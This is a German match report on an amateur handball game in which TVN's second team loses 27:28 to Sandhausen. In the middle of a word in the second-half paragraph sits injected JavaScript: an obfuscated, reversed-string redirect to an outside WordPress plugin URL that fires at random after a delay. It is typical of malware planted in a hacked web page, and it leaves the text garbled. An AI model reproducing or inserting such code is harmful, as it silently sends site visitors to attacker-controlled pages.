Die 2. Mannschaft des TVN empfing am heutigen Sonntag die 3. Herrenmannschaft aus Sandhausen.
Zu anfang gelang eine recht offensive Deckung weniger gut. Die Gegner konnten durch geschickte Kreisanspiele und gute 1 gegen 1 Situationen regelmäßig zu Toren kommen.
Der Angriff war bei den Gastgebern mal gut, mal weniger gut gespielt aber selten organisiert. Individuelle Aktionen wurden belohnt, doch kaum einmal wurde ein schöner Abschluss herausgespielt.
Auf beiden Seiten fischten die Torleute gut den einen oder anderen Ball heraus und so kamen beide Mannschaften nur zu wenigen Toren. Abesetzen konnte sich keiner der Kontrahenten.
Der Spielstand zur Halbzeit war wenig verwunderlich 13:12 für die Gastgeber – hätte aber auch spiegelverkehrt aussehen können.
In der zweiten Halbzeit ging es auf beiden Seiten deutlich körperbetoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonter zu. Leidtragender war ein Neckargemünder, der nach einer gelungenen Täuschung, beinahe zum Abschluss kam, sich aber stattdessen am Knie verletzte.
Einige Zeitstrafen wurden ausgesprochen, nachdem auch bereits in der 1. Halbzeit alle gelben Karten verteilt wurden, die ein Schiedsrichter im Gepäck haben durfte.
Durch eine defensivere Abwehr konnte man sich phasenweise vom Gegner absetzen, die 1-Tor Führung zu einer 2-3 Tore Führung ausbauen. Der Angriff lief weiterhin schwerfällig und man hatte den Eindruck, als führten zu viele Dirigenten das gleiche Orchester.
Trotzdem behielt man über lange Zeit zumindest den Vorsprung vor dem Gegner. Gegen Beginn des letzen Viertels gelang dem TVN sogar ein Vorsprung von vier Toren. Damit hätte man den Sack zumachen und einen letztendlich knapp verdienten Sieg einstreichen müssen.
Stattdessen ließ man sich über technische Fehler und mangelnde Absprache, vorne wie hinten, den Vorsprung wieder nehmen. Frustriert kamen am Ende unnötige Zeitstrafen zustande und man vergab wichtige Chancen.
So musste man bedauerlicher Weise aber am Ende zurecht beide Punkte den Gästen über- und sich mit 27:28 geschlagen geben.